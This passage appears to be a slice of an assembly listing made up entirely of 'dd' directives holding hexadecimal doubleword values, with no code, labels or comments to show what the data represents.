		dd 0B3A19CBAh, 0A9054510h, 0B9448900h, 0D36A24FCh, 1FA98E9h
		dd 0B2466D14h, 8F97E634h, 80951370h, 5AA67BCBh,	0A7E4009Ch
		dd 0C53D455Fh, 0F709CF0Eh, 871C6975h, 0B7106A9Eh, 4052CEh
		dd 0C9327261h, 31C7E10Dh, 82BC7003h, 511C19h, 63418358h
		dd 0DA89AC10h, 1670A600h, 35488692h, 0A07D05h, 0BDDC6738h
		dd 31C51DD5h, 9EFC7B00h, 28E671F7h, 0E2380034h,	92B8CD7Ah
		dd 150C6EE3h, 10CE1CFDh, 0E1031E2Ah, 8AEAC072h,	0DD01E9C8h
		dd 4634C0E5h, 0D7A19500h, 33FA2059h, 6C4E005Fh,	31EE152Fh
		dd 66006406h, 74AC362Ch, 0CBB03Ah, 0A82372F1h, 837EA659h
		dd 2B9F2200h, 6C8C6D55h, 62EC01C6h, 0ABBB64F4h,	34A2C02Eh
		dd 97D45000h, 0A04CD71Bh, 28D90005h, 90EA77F8h,	0E901A3DFh
		dd 0E3BE20C0h, 4AE07406h, 8CA95099h, 3087584h, 6A217D78h
		dd 0CAE17FD6h, 66B9F440h, 0D4006C78h, 0A110694Fh, 18CFE2D9h
		dd 9DE0287h, 2D00CB54h,	38D033DDh, 0A45559h, 4A631025h
		dd 0E57A15CEh, 62349400h, 892F5A61h, 0CAD3D59h,	97DE9880h
		dd 4004D09Ah, 9D773E00h, 0B6D5FF9Ch, 186D003Dh,	1734AAC2h
		dd 5B7B87D2h, 741961F0h, 3810B751h, 7DAADEECh, 1C9180E6h
		dd 0B4CD9C02h, 402981DCh, 40FD2F2Ch, 6490268Fh,	19DB3D00h
		dd 0A5D3CB0Ah, 6A9D1F92h, 0E98A0011h, 37157FDFh, 0CE391400h
		dd 26F4F690h, 1EA50093h, 0B2FB19B5h, 0A2ECB150h, 5885DB00h
		dd 78402A39h, 23680089h, 0D1E7A51Eh, 0F1750C14h, 0BD2EA200h
		dd 0C6483F1Ah, 0A078009Bh, 912FFBAAh, 93486726h, 986F000Ch
		dd 0FAABF062h, 73340456h, 80FFCF8Bh, 5867CF4h, 186F3Fh
		dd 59FCA920h, 0EE5B0BF2h, 54B400DAh, 62AC9568h,	2300BCB9h
		dd 399ED567h, 14455B5h,	90581794h, 7048A7FDh, 21002ABFh
		dd 0B0B7F8C1h, 0CF6980h, 0C39333A1h, 587DFA2Dh,	0A5E68B00h
		dd 969B08EAh, 608300D1h, 0CD800451h, 5700AB4Fh,	5DA54A5Eh
		dd 0FDA94DD2h, 7AE4CD8h, 8FE5B0DCh, 0E6D533h, 8B2F1904h
		dd 3C03B348h, 783FD6AAh, 0E0D78835h, 8C71F1Eh, 40DA5CCAh
		dd 3DDE44Dh, 5C00C1C8h,	0E36A30D5h, 0B8205Ah, 99AB0935h
		dd 0ED5F2F6Dh, 620EF700h, 0D5B5D49Ch, 0FEFA0919h, 0FC00E77Bh
		dd 402E9822h, 0D7F982A0h, 0BEEAF0E0h, 0A707DB7Fh, 797537DCh
		dd 28669220h, 4879A3h, 3E71F4B5h, 0B9E108ECh, 0CB799E2Ch
		dd 8B5C2400h, 0E3CF18h,	614F023Ch, 0D60476D8h, 0B9664D00h
		dd 0ABF66D03h, 0D10D3DB1h, 0AF07BC48h, 404C50A8h, 379392C9h
		dd 9F6AA00h, 1988BA2h, 0E43F0789h, 0B3DDBDFCh, 0A5F02C9Ah
		dd 2E06C793h, 1742CEBAh, 124B0011h, 7E3B802Ah, 880016A9h
		dd 4EAD9479h, 1C0BAC06h, 523FC18Fh, 6B700087h, 3D854AF4h
		dd 57A5E901h, 5B23EB6Ch, 0C0AC20h, 0BEDB0A51h, 2D3BCF50h
		dd 6581F106h, 9FB2Eh, 0DC6E7B25h, 0AF6994DFh, 100B3800h
		dd 135BF921h, 498303A3h, 50A5FFBEh, 0B4AB2EC0h,	36A09B00h
		dd 0D9C93E6Dh, 98EA0074h, 144A358Ch, 0BA0065F2h, 0C5E3820h
		dd 94A72Fh, 6118A55Ch, 79E0054Eh, 6BEE3400h, 0C5919AFBh
		dd 0EC587733h, 5E6601D3h, 0D8167D9h, 4D24FC14h,	57366800h
		dd 58B417FEh, 6CB0D3h, 0B93001BBh, 0DD5A49AEh, 0D43D6100h
		dd 0D33C4E85h, 0ADFA80h, 64E28E76h, 8AC9400Eh, 2936BE18h
		dd 0CBCEBEh, 0CFC332C6h, 28FA35F0h, 5018F300h, 5CB66D88h
		dd 0BD20737h, 0D0942440h, 6B56E8E3h, 0A8004CB0h, 9ED96D1h
		dd 0EF7F0Eh, 0A0E91652h, 86E06B7h, 0CD56AC07h, 0B6F0AAFFh
		dd 0EA1002h, 89B5F8B4h,	22BA04D8h, 3EF3DA2Eh, 0D1DF3A00h
		dd 60E49453h, 0F1EA08D3h, 0D901922Eh, 1F672C8Eh, 0A0ECD081h
		dd 9BDD1F45h, 0A47D4F01h, 0AE084BA3h, 0AC683E80h, 90A7DC0Eh
		dd 0DD47E064h, 3D1115Ch, 0A445F836h, 0B7F082C5h, 0BC304C07h
		dd 52B940Bh, 6D9700E2h,	0B827A663h, 2600BA80h, 1C8F7FB5h
		dd 991B4h, 0CD656E96h, 50A7FC47h, 0FDC0A501h, 0E2FAC259h
		dd 40F670E1h, 0D7DD20h,	1A3ED873h, 0D2AAFDEEh, 0AC2BA90Eh
		dd 8A20C0D9h, 166A4DCh,	7A3EF84Bh, 71401AE7h, 5B62E41Ah
		dd 60DC010Ch, 5F0945h, 57CAD5EBh, 0BF921ACEh, 704E1D0Eh
		dd 634CC09Ch, 1126F7Fh,	0A3FEA4FFh, 0EC946496h,	3A075554h
		dd 0BA6A14E2h, 1F3F7120h, 1B4C177Ah, 8224002Bh,	0AFF8BC6Ch
		dd 0D1E3D700h, 0FA3BA9C8h, 2F0B004Bh, 0FB3634F7h, 6000794Dh
		dd 7CC07AD6h, 7FEE0555h, 0C9679FEh, 64499D90h, 8F008576h
		dd 0AF616A57h, 77094A58h, 0B76B01FDh, 0C6653463h, 5E4ED022h
		dd 544D2D00h, 502928BEh, 0E87523h, 0AD02CECFh, 890CB6EDh
		dd 0AF08EE60h, 2C6C10Bh, 5225FE92h, 5C0C454h, 900FD98Ah
		dd 4055866Dh, 4C80CA83h, 0C0330002h, 20B4B788h,	0F207E1A1h
		dd 34FBEA5Fh, 9F53E20h,	90A91DF7h, 0A1EB8015h, 5397D97Fh
		dd 57021E7Fh, 7A865F79h, 0EE5C4024h, 0AC50E96Ah, 1544F6Dh
		dd 4A395351h, 0F401D778h, 492C7302h, 1C3CD106h,	346CC71Ch
		dd 76C0A91Fh, 18BD7A19h, 1684A0EDh, 0E2201D9h, 7BADB226h
		dd 2439D4CCh, 768C1000h, 0B2B5AAEh, 0A698A89Ah,	0D0F23843h
		dd 0E81EAC80h, 3B0348B2h, 11883C1Fh, 2C6A32C0h,	0E96E30h
		dd 8557AEC2h, 0A5D7A247h, 0D5692F1Dh, 53E2CE83h, 8080BC23h
		dd 64B62AAh, 6D9CB8ABh,	0A71D4071h, 0E9876619h,	1084A3AEh
		dd 0CC9C83h, 0BE13DD90h, 597B8488h, 0B7ED9400h,	0E71B6273h
		dd 1A2F0782h, 0D7A00D7Eh, 0BE880045h, 0F0070BAh, 0F2CB231Fh
		dd 647BC9h, 3C901534h, 6EF72522h, 91FAC400h, 881BE708h
		dd 0C2F4034Bh, 5BCC6C43h, 106424D8h, 3EECFF00h,	6D80E4EDh
		dd 3B7041h, 0D979BCEFh,	0BDB127A1h, 0BE00B3B8h,	54647689h
		dd 1E4030h, 787970ADh, 0A9D302E9h, 801C9838h, 7392BB3Fh
		dd 0A52BE21h, 1905E26Bh, 1AA001F0h, 209F1B42h, 41E1688h
		dd 0A00E91Eh, 0EE510D06h, 959817h, 0BAC7AF89h, 0B0C39B5Dh
		dd 7B8E09C0h, 18DC19Dh
		dd 0B3A2905Ah, 31A894F6h, 3626604Ch, 1F0DF8A0h,	0AF0F4C03h
		dd 0B00EB8F3h, 93B55E07h, 5528002Ch, 642E4557h,	0F48FD344h
		dd 83C40096h, 2238C02Fh, 8C007AF5h, 2AAC1D37h, 808A92h
		dd 3DD10CE0h, 32AACD0Ah, 65D80560h, 0EA5C07EAh,	0DDE65Fh
		dd 5E26B93Fh, 0ECE51099h, 9CCCE103h, 87E705F1h,	39D23A91h
		dd 0CB6CE8h, 0B478B68Ah, 0FECE63B9h, 0C8DEE012h, 5F009C53h
		dd 7B7A15C4h, 0EE73131Dh, 0F8480081h, 59C49D3h,	0AF3FCAF4h
		dd 0B9F505DFh, 68C02A76h, 0F709EBCh, 0AEEBDF7h,	0A78DE7E0h
		dd 0BA006772h, 0B84CBEA5h, 5EC494h, 0D88B9605h,	31A42803h
		dd 4DE1C3Fh, 2C1AD584h,	2FCEA4C0h, 0B04A2450h, 0C1E11h
		dd 0D0020728h, 0C600033Ch, 0C70457EAh, 3B1DF76Dh, 1C187CA7h
		dd 26B309A1h, 0BCA6A900h, 56BBB68Dh, 7102262Eh,	86E800A4h
		dd 0B58BBE68h, 2497F202h, 404EDA57h, 1FBC5994h,	80807782h
		dd 7638EB22h, 65077B9Ch, 841370F8h, 3640D737h, 9CF9EA8h
		dd 64E5565Dh, 83BA4880h, 0AD00113Bh, 2AD8CB1Bh,	7CBFAC49h
		dd 44263051h, 0AB583F60h, 0B2097C75h, 0A0AE3ECFh, 1DD64610h
		dd 93E30E0Dh, 0B88420DFh, 1810802Eh, 5900B56Eh,	7B5FAD66h
		dd 39BB154Bh, 0D0807E4Fh, 631DB1BCh, 0C700688Eh, 0FE4777AEh
		dd 83F378h, 4D3E501Eh, 0DC17539Eh, 0A4B9C900h, 9CD9A333h
		dd 0F10B0013h, 0A086B144h, 0E400371Ch, 7897AC16h, 0F028F95h
		dd 4CD8FF8Bh, 0EC6143C3h, 0C76299F8h, 0BF259600h, 903592A9h
		dd 12D21F02h, 2EE0401Fh, 49EBBEFEh, 0EEE8FB00h,	0C7A73101h
		dd 2F881423h, 0DA00EC25h, 0DFDEBC6Bh, 0CF009952h, 0D65364B8h
		dd 986F60BAh, 370EE9Fh,	0EFB2916Bh, 46B7D0C8h, 6C0009CAh
		dd 6819657Ah, 7DC26281h, 9BB6C072h, 0C12FC92h, 486DC02Eh
		dd 89A4B500h, 406E0Dh, 0CB014BBFh, 56FD13EAh, 0E89E3601h
		dd 9451F837h, 0D7B6DE40h, 585400B9h, 0BA41ACCDh, 0EE395D19h
		dd 6BE3803Ch, 0D10B2C34h, 762E0EC3h, 0A8E0B4D9h, 9B38B13Fh
		dd 93E803FCh, 0D0775A00h, 4099FABBh, 0C0430368h, 6BB3F45Fh
		dd 4C2DB90h, 0CDCF6D00h, 545B9DCCh, 0ACE000E2h,	0A8EA53D5h
		dd 0B3F8B8F0h, 0DA091303h, 1D3BE60Eh, 7BB07BCh,	90F73586h
		dd 725FD2ECh, 6C208E0Bh, 790E005Eh, 144F3445h, 0B4267AB0h
		dd 2D8F0072h, 0CE9ED32Bh, 881FEC6Ch, 81A763E8h,	818F8A2Eh
		dd 0E800DD0h, 0F1E07FBh, 1309198Ch, 5094809h, 0C2988F1Ch
		dd 0A0224E37h, 0C8A708B4h, 0DE008EBEh, 11EA8831h, 759EF3h
		dd 5EE7EFAEh, 2405D61Dh, 11C9B00h, 63F70A09h, 0F89200C7h
		dd 9D66B078h, 2498AEECh, 6DA69C00h, 2E29DFB4h, 0FCC73938h
		dd 515A9E80h, 6A63D7A4h, 2A707200h, 9E3D284h, 7C2502E1h
		dd 3F969CF8h, 0FFE7D8C1h, 261B4EF0h, 0E81DF600h, 5ED87DFBh
		dd 0DD9C00DBh, 51EC8944h, 6A90DFB3h, 32A49200h,	62C53020h
		dd 44190E9Eh, 7E601323h, 0AED01BB0h, 41E52D00h,	4ADB76B6h
		dd 3EB0A01Fh, 7E4B817h,	7CDCF5E0h, 7237003Dh, 0F22CF43Fh
		dd 0F3019F77h, 0AE269A74h, 50308C29h, 0F9B78209h, 0DA8BB400h
		dd 41872DFEh, 0B0AB5072h, 4777FC58h, 0E35900BFh, 0D5945DA6h
		dd 9E8D336Bh, 72808E93h, 0BB073884h, 40025CCCh,	0A9EFDEF0h
		dd 0CA7A86h, 0D3D08C21h, 4FD911FFh, 7D1B539h, 0B2D2B820h
		dd 675C26B0h, 0F2E13DEh, 0A9D70086h, 9D5F2D84h,	0E3373A00h
		dd 0ADEEC217h, 316D3827h, 917317h, 0DC5598C5h, 5C00BDE0h
		dd 1A7A5403h, 1E6D47ABh, 8083C0BAh, 0EFE09437h,	9E0018D6h
		dd 0BEEC3F68h, 37C67AFh, 4459A1D1h, 0C1F0CD04h,	1DE6EA02h
		dd 910058F0h, 16CE3D82h, 6E8A8Fh, 8508CBAh, 6CBD4E81h
		dd 46A40101h, 0E21B63B0h, 0BB6DE0h, 0E5DAC272h,	16D41D10h
		dd 0C605877Ah, 17D8A983h, 0E78F4D0h, 66B90091h,	9FB11DBDh
		dd 8500EF96h, 9E687198h, 0B0FAFC25h, 0AFD2000Dh, 39065860h
		dd 59000A36h, 2C73E596h, 214D982h, 65EC0B48h, 840628Dh
		dd 6A032BD5h, 8E7D48Ch,	63717D19h, 0D3FD0851h, 0D450200Eh
		dd 5885833Bh, 1D187A23h, 803907B7h, 0F8C20A03h,	0BA3F554Bh
		dd 3083C25h, 0D1264E3Ah, 348780Eh, 16D4BF0h, 41072BF2h
		dd 0D4E9B950h, 650E84F0h, 4D230CB2h, 0BF589D08h, 9AA9B606h
		dd 183122AEh, 0A101499Fh, 4B0EA084h, 8040C012h,	0A631C25Bh
		dd 9A10A02Ch, 991CA091h, 938004Fh, 28D2C017h, 0B400D808h
		dd 641C5D7h, 2EEE36Fh, 0DA968FAh, 1540CC10h, 85005C7Fh
		dd 6788BA7h, 78A8C91h, 0F73E7968h, 0A324B093h, 8E004167h
		dd 1B915410h, 489EB5h, 432E587Eh, 82E319EEh, 62B1ECFFh
		dd 94F9DE98h, 0E0040891h, 0D9219Ah, 165C882h, 0B02E255Ch
		dd 3F97073Eh, 67C8DCh, 4BF83B1h, 0CA5BBCh, 6007B988h, 2A97BA71h
		dd 7F612F00h, 8BCC6599h, 0D65D00EBh, 0BE04C1C7h, 69C0EAFFh
		dd 66AE544Eh, 0F1410C85h, 0B4096D2Bh, 0D020FB6Fh, 284A2Ch
		dd 0DB8A5231h, 9F1867CCh, 0D7B16C97h, 9A0C03E1h, 0AF0DF93Dh
		dd 0C2217FD9h, 4D967AC0h, 0EE1A3203h, 0B1A55476h, 9C04A16h
		dd 0F5DE5CFDh, 5398E830h, 109250B2h, 9CD2D30Fh,	0A3BB0EE3h
		dd 0E8FE7735h, 3543EFCh, 9AB97B6h, 300FE752h, 8ABE139Ah
		dd 38702056h, 22048C72h, 18A64A6Eh, 0CC1D1090h,	0C20F38E4h
		dd 9A0A4C03h, 1EA34B10h, 63472100h, 5B1FF3E8h, 0C8580782h
		dd 3241CC0h, 4A8BC21Dh,	0B685E000h, 6A72803h, 0C0B4A9D7h
		dd 0AE085218h, 0C651854Ch, 0AC0021F7h, 4792AEEAh, 7C79ECBBh
		dd 99930184h, 1A330416h, 55B891B8h, 0C7E86784h,	445C7A19h
		dd 0BE584012h, 0ECF8E4h, 8405AE6Ah, 0C23E9CB2h,	0F9768B1Fh
		dd 0A18509Ch, 6BD5C81h,	0AAA3AB74h, 0D107406Dh,	8CD8BCFBh
		dd 2D3454D0h, 25283B91h, 1A6DF681h, 0E03CC4EBh,	6600B33Dh
		dd 9CD6CB5Eh, 7F5220C7h, 0DDECA09Dh, 99C160B6h,	0E34C35Dh
		dd 176AC00Ch, 0B7903h, 401C39B3h, 0D3B0E244h, 6129230Bh
		dd 3493800Dh, 146B0B2Fh, 0B4EE4AAAh, 53960504h,	9A790137h
		dd 0E3DF720Ch, 0B0BDEA24h, 11AE5DB8h, 8489854Dh, 0AD00FC51h
		dd 7028AEE9h, 0B9F92500h, 6EA2E4EDh, 0AA4C0011h, 0D76AEEF0h
		dd 4B604A92h, 0B8012478h, 0A8ACE407h, 0AFDB0h, 0D45F2B62h
		dd 0ED18677Bh, 186A6B3Ah, 102007A5h, 42B0049h, 9F1BE3D5h
		dd 0B8A416E5h, 0B44DEE28h, 794BB713h, 0D400BCC4h, 19607717h
		dd 0D6553074h, 9F07D751h, 59A28633h, 6318E32h, 29BF828h
		dd 5F00C009h, 0D5EBFEF5h, 24C0256Fh, 40EC4D94h,	0E6AA670Eh
		dd 348DED0Ch, 0E34124h,	32278579h, 0B5C6DA88h, 69CD4300h
		dd 34F1B37Ah, 4729C01Dh, 596F2C3Bh, 19101300h, 862D60A3h
		dd 0B27504DBh, 0C06ED4D9h, 21B8EEE8h, 0EB7D1402h, 802C3556h
		dd 0CBD81154h, 10BF48B6h, 98149F24h, 0B9632110h, 0A53DD700h
		dd 9F219B5Ah, 0CD640ADEh, 80D89C16h, 0E6D3C92Bh, 0EA0040BCh
		dd 0C6EC1E88h, 9E1F68Bh, 872CA7E9h, 7A437002h, 0CE8547C0h
		dd 14354724h, 66CF6B00h, 0C01E1381h, 83776310h,	2B4043B6h
		dd 856013CCh, 10F91386h, 0B723F404h, 5C2B6101h,	0A61873D4h
		dd 501388h, 0E316E2Bh, 0CED64C82h, 0E4F6E090h, 0B90EB59h
		dd 18E8D8Ah, 26AC9888h,	0C4B87088h, 56C71F01h, 20076FA9h
		dd 4A213678h, 99F8F73Ch, 0AB69FEA2h, 14CDC7E0h,	0BD365C1Ah
		dd 2F6EDD00h, 69642242h, 9196501h, 706D3C7h, 84E4F021h
		dd 41B40068h
		dd 4F295FEAh, 7B524C5Ch, 847A00CCh, 9F2EFAF0h, 0F4B1C2h
		dd 53199CB0h, 0D7029A65h, 93F0CD38h, 5EAC8264h,	148C9BADh
		dd 88D45DF8h, 2AC08052h, 8F902B77h, 593C660Ch, 585A0684h
		dd 0FC060019h, 0A802D9C0h, 306A9D48h, 0D3CEF0F3h, 0A2963E84h
		dd 0D7573104h, 0ACC0BFD9h, 0A45B07B6h, 2B4D2E40h, 0E9531F48h
		dd 5C2F60CCh, 0AD01E32Bh, 0D4F225D8h, 2434DAA2h, 0C8423D5Bh
		dd 12463ACh, 3F862161h,	8508204Ch, 0C68A9E00h, 1A08F96Eh
		dd 0A9926779h, 52F2C3DAh, 0B7E81812h, 0A423142Fh, 23065D2Ch
		dd 3905A6h, 0EFB614D5h,	3E9DCDEAh, 30BF550Ah, 7A09C0FDh
		dd 0CE04980Dh, 0F1447A9Ch, 0CDEBC441h, 3DA12Bh,	0CCBC28E0h
		dd 0C8746329h, 2406D78Bh, 65604F78h, 0C110B4E8h, 5AB04BB8h
		dd 0B403E4BCh, 847622C7h, 0A792B82Fh, 0C46A4C73h, 2EB816D2h
		dd 0FC521024h, 3433BEC0h, 5F019762h, 84D66132h,	0E43678F2h
		dd 0CFDF8B1h, 56F70994h, 6C201634h, 250D02C9h, 0D97D2BE6h
		dd 11F5C603h, 0B9FE3C61h, 2822F97Eh, 4E015C23h,	5BD4532Bh
		dd 2C88A118h, 582B0155h, 0B03079D8h, 1EEC2009h,	0A5CA848h
		dd 0B4496E23h, 0EE4CBC0h, 22A846C2h, 62440715h,	52D40CE8h
		dd 90C00239h, 0F55F6D63h, 1E26EDE8h, 9D1180h, 60EA3922h
		dd 5B68D7h, 3CED2DBEh, 9A3A0B6Ch, 0C4E04612h, 9D55FC32h
		dd 0FDF808D0h, 0B5751160h, 0BBEC9434h, 0E61D4700h, 0D6675C4Eh
		dd 49A0D41Dh, 5D71DF01h, 283077BDh, 0ED4D4C1Ch,	508DE167h
		dd 76892D79h, 38FD3830h, 905D73F0h, 0C0280B5Ch,	209E87h
		dd 8EA317Ah, 0C9B8503Bh, 5476B930h, 3C39ED01h, 0C21CD73Bh
		dd 9F7610ECh, 0F5F45254h, 108AAA17h, 24EFAC09h,	67625D04h
		dd 63D45D40h, 2DC02C99h, 742B56h, 0A781156Dh, 86D29E84h
		dd 0C2130C9Ah, 6C3196D3h, 18A451E6h, 6559C0CCh,	194C5B91h
		dd 0B8362938h, 0DB00392Ch, 0EAB84EC5h, 40C03CB3h, 8361678Ch
		dd 0B20128F1h, 5849855h, 0A84154CEh, 8304CAEh, 359C28B3h
		dd 0FAB626C8h, 39869B20h, 0A25C207Ah, 0F0148740h, 4F516C70h
		dd 2868901Ch, 29E44316h, 7988B75Ch, 0F51849h, 0E98BF0DDh
		dd 0B7925420h, 0EF0B341Dh, 0E851930Dh, 8CB9AC30h, 0D49A6B62h
		dd 44986C83h, 2BEA114Ah, 0A22558h, 70C083D7h, 1B62E40Eh
		dd 49076B34h, 0FBDDC3D8h, 8367ACA0h, 9B7BE12h, 6423108Bh
		dd 4AE5E0Bh, 289871FCh,	0C821C0F5h, 5929AE56h, 0ED3903Fh
		dd 80E6BD51h, 0CF6A5A5Ch, 0CBBE1884h, 0A2D56822h, 331B0211h
		dd 5F016323h, 798567AEh, 53C7000Eh, 0A4E6B9AEh,	31DC311Fh
		dd 1EBD5D0h, 299CFA17h,	293F80B4h, 1674F4F0h, 754F3Ch
		dd 82C89F27h, 0F27AE550h, 86470CFAh, 13982087h,	8C24C0FDh
		dd 94238B00h, 0AD63E8F3h, 0CEC0A855h, 843A0082h, 0E9139D5Bh
		dd 6A002BECh, 0B80337FBh, 0E8705EBEh, 60C0941Bh, 0C6B40C83h
		dd 61C89842h, 0C9AE59C3h, 192985h, 0AE55C968h, 117D5817h
		dd 4C1D005h, 0F6239C2Eh, 912D8100h, 1986A931h, 0F8260796h
		dd 902935h, 0DF578327h,	7E1664D3h, 5DFB07B7h, 128684BFh
		dd 4C47199Bh, 3D60A8C4h, 942E3364h, 4815A834h, 0EB7D82BCh
		dd 808051EAh, 0B267D7B5h, 4586215Fh, 0D85DEC0Dh, 46F2FF00h
		dd 0C2933DEBh, 3BAA12BCh, 80AF07FAh, 0DFE16067h, 3802C30Bh
		dd 0CFD48479h, 4D0E09Eh, 2EF52421h, 0A24674DCh,	0C1B2A500h
		dd 0ADB34780h, 0C48CBD26h, 0DBCE83C0h, 0DEB8960Ch, 0A4FDFA21h
		dd 76BC2608h, 0B3004946h, 7E3590F5h, 2D06FCE5h,	5FE4A87h
		dd 0C3AF2461h, 52CD0093h, 83A0B037h, 0FB41F862h, 0D7148BABh
		dd 895AA704h, 0E90CDFDCh, 31FA869Fh, 801E7B35h,	0AE1EAB5Ah
		dd 5B807CC2h, 0CE84E9BAh, 40204B03h, 97B3A02Ch,	3F4EA67Eh
		dd 26A39C00h, 5820E59Fh, 3728502Bh, 2A7A17FCh, 5D141DA2h
		dd 56E45D4h, 10A43B33h,	59C0FC52h, 1EB74502h, 3CD6F200h
		dd 0E4C925D9h, 186917EDh, 716C6EB8h, 2E1D3707h,	0EC06D14Ch
		dd 7AB70B90h, 60146DF6h, 0E8D07158h, 0FD43FAh, 3ABBA0B9h
		dd 2575CDC8h, 8410533Dh, 8725D8D9h, 0BF781030h,	0B0283C67h
		dd 0FC134B80h, 799FB75Ah, 0EBA06406h, 0D5C1D24Ch, 502EA8A8h
		dd 8600DE7Ch, 30CD2F45h, 0CBFC557h, 6F225A9Ch, 0CC2750F8h
		dd 8058A916h, 0B517C53Ch, 5CCE0761h, 0A1C97775h, 0C11BC659h
		dd 0D6602C09h, 49FA000Ch, 0C3D4CFCh, 0B6008D23h, 0C7B264D7h
		dd 48808520h, 0E556D85Eh, 0B8952CAAh, 0FA16D1h,	0AC9813F4h
		dd 0BB039F42h, 0E68A9D99h, 0E868130Dh, 0DA802034h, 0B701294Dh
		dd 0B5034CBBh, 0F460EA2Ch, 0C00D0B7Ch, 34249ED3h, 0D928C17Ah
		dd 0E8822AAh, 1C24C0Eh,	64CF9D7Ch, 51A1A063h, 3A0CFCh
		dd 5E87D0Bh, 7C2E79DAh,	0A9C00414h, 1572384h, 0B6CAD810h
		dd 880A1897h, 0D774B85Ah, 0C2587F02h, 0E9F5A28Bh, 0A9E1B4B0h
		dd 0AA2B833h, 0A24C530h, 0E67BC22Fh, 36358184h,	70ECD667h
		dd 5CBAEFEAh, 39CE31F6h, 1AAAC003h, 0A5FC34h, 2AD499D5h
		dd 0A2298759h, 7C48F949h, 5B880300h, 9C9BB00Ah,	71E6165Ch
		dd 0C7E88C26h, 0A8FA640Fh, 809141DCh, 0C039AD0Eh, 8FE2750Bh
		dd 9D4DB300h, 77021ABFh, 0C2266F14h, 0B452A0h, 1DC1AB67h
		dd 84686CC0h, 0B6CCF41Ah, 0E80FE9h, 62317965h, 5008488Bh
		dd 7E2042C1h, 8906C9Fh,	404788Ah, 0B3566E23h, 0E8680260h
		dd 3160C273h, 0BF5B1016h, 57F53AE4h, 8A5AB606h,	5F00601Fh
		dd 0A4409EB3h, 3DE084Dh, 69CD68E3h, 3AE050E7h, 5A28D3C2h
		dd 312EB8ECh, 2363E486h, 48192682h, 0F921748Ch,	8A5880FDh
		dd 83194E85h, 0D82F055Ah, 0F80FA223h, 0D1801AD6h, 18F559E0h
		dd 523700DBh, 67029D7Dh, 0CC13D8C4h, 5435D04Ch,	444AF5F8h
		dd 9067614h, 3CF46917h,	7F6FF0h, 0CA447C05h, 8A095A8Ch
		dd 0D2539701h, 28A3E7A0h, 0B4E00A2Ah, 0A4465670h, 89A1E602h
		dd 58C84EA6h, 0AE982842h, 11BC8C12h, 97C76600h,	0B785823h
		dd 36B7C19Ah, 0F595541Dh, 28BCC0C8h, 13D85442h,	0C02A7BBFh
		dd 6E7D78B8h, 6A2BD701h, 871C3CDh, 79018440h, 241C48F2h
		dd 0D417232Fh, 0BD8D1511h, 0C2960042h, 0FC4921ABh, 1B201034h
		dd 0D2B19480h, 0FD4E8E89h, 1623DC3Ah, 2A35B0Bh,	6040CEE4h
		dd 0CB5E98h, 384F9E7Ch,	1D8F16ECh, 1B6FD809h, 0ABB848A2h
		dd 0D5D70069h, 0D6F1ADDCh, 6E5430BCh, 8F0F5E4Ch, 93CF97F0h
		dd 0CB553C02h, 8518684Ah, 0C53FE886h, 0A7D92A18h, 0B1045644h
		dd 63315C9Bh, 7C04C032h, 0C08198D1h, 0EB5E1780h, 0E845CA5Eh
		dd 14126D31h, 247A380Fh, 0E167BF39h, 249FFF66h,	68009B64h
		dd 0E53140A7h, 0FEA3FAh, 0DE3413D2h, 359CB285h,	34375C4Ah
		dd 2EDF96B1h, 5471FB02h, 979A2801h, 0AC67EC58h,	4EA8382Ch
		dd 0D8748031h, 8CB7B266h, 5CF52745h, 0E9CA20h, 0BCB21222h
		dd 5236BF25h, 72FB0A0h,	172D0896h, 80A61174h, 0A3493F8Ch
		dd 40355A0Ch, 86341244h, 0D7F64495h, 76B4D600h,	1E2456CFh
		dd 0EFE606E4h, 49A3979Eh, 390F3530h, 309F755h, 0A0B6E45Dh
		dd 0D5985F1Ch, 1512927Eh, 62D6DFh, 79FC5144h, 0BAB18A5h
		dd 0C32F55F1h, 43099884h, 0C8E0161Eh, 2AEC00Bh,	0FA555B85h
		dd 2F200A98h, 2E8A06FCh, 41D451BBh, 0D036D8C5h,	0EB139CECh
		dd 0F0D73DC0h, 4B081009h, 8A5B0075h, 0DDB6A1C6h, 1501F482h
		dd 94307278h, 618004FDh, 0B7C4E716h, 0D275F06Fh, 65526901h
		dd 508E8AB2h, 1C99F0ADh
		dd 0F200227Eh, 1923302Bh, 0EB0042E4h, 656C080Eh, 7286228Fh
		dd 3A414EB1h, 492308h, 7F2EB69Dh, 0CA1C7DCDh, 243D5FF6h
		dd 0FE0C5416h, 0C2E102h, 7A2C29BFh, 0D34D10D7h,	9E2A3602h
		dd 0DAF17E8Ah, 2784624h, 0C1B5E866h, 10123110h,	0E4BD3Dh
		dd 665AA5B9h, 0CED6306Dh, 4822454Eh, 79C8F9BFh,	0CB4180Dh
		dd 240B6404h, 0D6127828h, 78B08ECAh, 5CB30E9Fh,	30E0E997h
		dd 0D24C5EB8h, 68412563h, 3BECF90Dh, 12B24AD8h,	0B223F5D3h
		dd 3015E260h, 0F4004636h, 0C764ED72h, 98655E32h, 66A26BCh
		dd 9E83048Ch, 17CD4E4Bh, 0F1B37430h, 89A92F40h,	0BE853018h
		dd 0E024EB4Bh, 0B4BCD4A8h, 0D900FB43h, 2EDCF95Fh, 650BD78Ah
		dd 40AAD11Ah, 95BE53F4h, 205F300Eh, 4A616820h, 0D748813Bh
		dd 0C0D43CF1h, 2E7AA063h, 90F8h, 987E8365h, 0E19CB3FBh
		dd 4B409B00h, 90DE303Eh, 900654A6h, 67F40994h, 0A4B046FDh
		dd 1E24BF28h, 4D5268CCh, 0B9C86368h, 1F170602h,	6842C28Ah
		dd 564B86D4h, 2B4EA03Bh, 0FBB310FCh, 708C4EC0h,	0FF05E03Ah
		dd 6B37E2EBh, 60E540F4h, 9F5A954h, 34028805h, 70988212h
		dd 1464FEh, 0C754E91Ah,	180311F3h, 0C531024h, 32E22E05h
		dd 3DF0C4A6h, 87582A15h, 46C32557h, 5E709EA4h, 3000F642h
		dd 0E5B424EDh, 0A70F3C9Bh, 80910E71h, 0AD120CE1h, 54982CB5h
		dd 0C8EA00C4h, 0DA8FBF24h, 66C44503h, 0E03EF3D9h, 0F87606CFh
		dd 0B21400A7h, 0E046A131h, 0D005AFBh, 7063A9D8h, 3A8ED38h
		dd 873064A7h, 8301C8Fh,	0C4CF211Bh, 3C5AEAEDh, 103E9288h
		dd 803AD61Ch, 0C7C34A60h, 18CFAC82h, 20A96FBFh,	0BB71B5Ch
		dd 16B3A87h, 0CBFC3380h, 0A90D081Ch, 0D292110Ch, 15C8ACh
		dd 712A4D0Eh, 0F0614375h, 39F863F4h, 8127F430h,	6F5291A5h
		dd 2A00308Dh, 9A897548h, 129CC400h, 8FC270AEh, 0B40C24Eh
